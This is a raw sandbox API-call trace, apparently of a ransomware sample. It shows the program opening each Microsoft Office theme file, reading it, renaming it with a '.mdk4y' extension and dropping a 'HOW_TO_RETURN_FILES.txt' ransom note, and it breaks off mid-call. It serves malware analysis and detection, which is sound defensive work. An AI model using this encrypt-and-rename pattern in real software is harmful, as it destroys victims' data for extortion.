QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825352500000) returned 1 [0178.295] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbef29, lpOverlapped=0x0) returned 1 [0178.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825354400000) returned 1 [0178.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825354400000) returned 1 [0178.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.mdk4y")) returned 1 [0178.325] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.325] AreFileApisANSI () returned 1 [0178.325] GetACP () returned 0x4e4 [0178.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slipstream.eftx", cchWideChar=15, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Slipstream.eftxx", lpUsedDefaultChar=0x37df4c) returned 15 [0178.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825355600000) returned 1 [0178.326] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6c8d, lpOverlapped=0x0) returned 1 [0178.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825357200000) returned 1 [0178.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825357200000) returned 1 [0178.343] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.mdk4y")) returned 1 [0178.344] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.344] AreFileApisANSI () returned 1 [0178.344] GetACP () returned 0x4e4 [0178.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solstice.eftx", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Solstice.eftxtx", lpUsedDefaultChar=0x37df4c) returned 13 [0178.344] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825357500000) returned 1 [0178.345] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6c85, lpOverlapped=0x0) returned 1 [0178.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825358100000) returned 1 [0178.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825358100000) returned 1 [0178.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.mdk4y")) returned 1 [0178.353] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.353] AreFileApisANSI () returned 1 [0178.353] GetACP () returned 0x4e4 [0178.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Technic.eftx", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Technic.eftxx", lpUsedDefaultChar=0x37df4c) returned 12 [0178.353] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825358400000) returned 1 [0178.354] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5c8c, lpOverlapped=0x0) returned 1 [0178.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825359100000) returned 1 [0178.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825359100000) returned 1 [0178.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.mdk4y")) returned 1 [0178.363] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.363] AreFileApisANSI () returned 1 [0178.363] GetACP () returned 0x4e4 [0178.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thatch.eftx", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Thatch.eftxx", lpUsedDefaultChar=0x37df4c) returned 11 [0178.363] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825359300000) returned 1 [0178.363] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa14f, lpOverlapped=0x0) returned 1 [0178.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825362300000) returned 1 [0178.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825362300000) returned 1 [0178.394] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.mdk4y")) returned 1 [0178.396] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.396] AreFileApisANSI () returned 1 [0178.396] GetACP () returned 0x4e4 [0178.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Trek.eftx", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Trek.eftxtx", lpUsedDefaultChar=0x37df4c) returned 9 [0178.396] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825362700000) returned 1 [0178.397] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fb84, lpOverlapped=0x0) returned 1 [0178.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825364300000) returned 1 [0178.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825364300000) returned 1 [0178.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.mdk4y")) returned 1 [0178.417] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.417] AreFileApisANSI () returned 1 [0178.417] GetACP () returned 0x4e4 [0178.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Urban.eftx", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Urban.eftxx", lpUsedDefaultChar=0x37df4c) returned 10 [0178.417] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825364800000) returned 1 [0178.418] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c9b, lpOverlapped=0x0) returned 1 [0178.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825365000000) returned 1 [0178.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825365000000) returned 1 [0178.420] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.mdk4y")) returned 1 [0178.421] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.421] AreFileApisANSI () returned 1 [0178.421] GetACP () returned 0x4e4 [0178.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Verve.eftx", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Verve.eftx", lpUsedDefaultChar=0x37df4c) returned 10 [0178.421] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825365200000) returned 1 [0178.422] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x79f8, lpOverlapped=0x0) returned 1 [0178.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825365400000) returned 1 [0178.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825365400000) returned 1 [0178.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.mdk4y")) returned 1 [0178.426] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.426] AreFileApisANSI () returned 1 [0178.426] GetACP () returned 0x4e4 [0178.426] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Waveform.eftx", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Waveform.eftx", lpUsedDefaultChar=0x37df4c) returned 13 [0178.426] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825365700000) returned 1 [0178.427] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b778, lpOverlapped=0x0) returned 1 [0178.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825367300000) returned 1 [0178.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825367300000) returned 1 [0178.444] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.mdk4y")) returned 1 [0178.445] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 0 [0178.445] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0178.446] AreFileApisANSI () returned 1 [0178.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0178.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.446] GetFileType (hFile=0x12c) returned 0x1 [0178.447] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0178.447] AreFileApisANSI () returned 1 [0178.447] GetACP () returned 0x4e4 [0178.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Theme Fonts", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Theme Fontsts", lpUsedDefaultChar=0x37dfd8) returned 11 [0178.447] AreFileApisANSI () returned 1 [0178.447] GetACP () returned 0x4e4 [0178.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=65, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned 65 [0178.470] AreFileApisANSI () returned 1 [0178.470] GetACP () returned 0x4e4 [0178.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 1 [0178.470] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.478] AreFileApisANSI () returned 1 [0178.478] GetACP () returned 0x4e4 [0178.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 2 [0178.478] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.478] AreFileApisANSI () returned 1 [0178.478] GetACP () returned 0x4e4 [0178.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Adjacency.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Adjacency.xmlTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 13 [0178.478] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825371000000) returned 1 [0178.480] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe19, lpOverlapped=0x0) returned 1 [0178.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825375100000) returned 1 [0178.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825375200000) returned 1 [0178.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.mdk4y")) returned 1 [0178.525] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.525] AreFileApisANSI () returned 1 [0178.525] GetACP () returned 0x4e4 [0178.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Angles.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Angles.xmlxml", lpUsedDefaultChar=0x37df4c) returned 10 [0178.525] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825375500000) returned 1 [0178.525] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe2a, lpOverlapped=0x0) returned 1 [0178.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825376400000) returned 1 [0178.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825376400000) returned 1 [0178.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.mdk4y")) returned 1 [0178.536] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.536] AreFileApisANSI () returned 1 [0178.536] GetACP () returned 0x4e4 [0178.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apex.xml", cchWideChar=8, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Apex.xmlml", lpUsedDefaultChar=0x37df4c) returned 8 [0178.536] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825376600000) returned 1 [0178.536] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xeee, lpOverlapped=0x0) returned 1 [0178.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825377900000) returned 1 [0178.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825377900000) returned 1 [0178.549] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.mdk4y")) returned 1 [0178.550] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.550] AreFileApisANSI () returned 1 [0178.550] GetACP () returned 0x4e4 [0178.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apothecary.xml", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Apothecary.xmlVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 14 [0178.550] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), 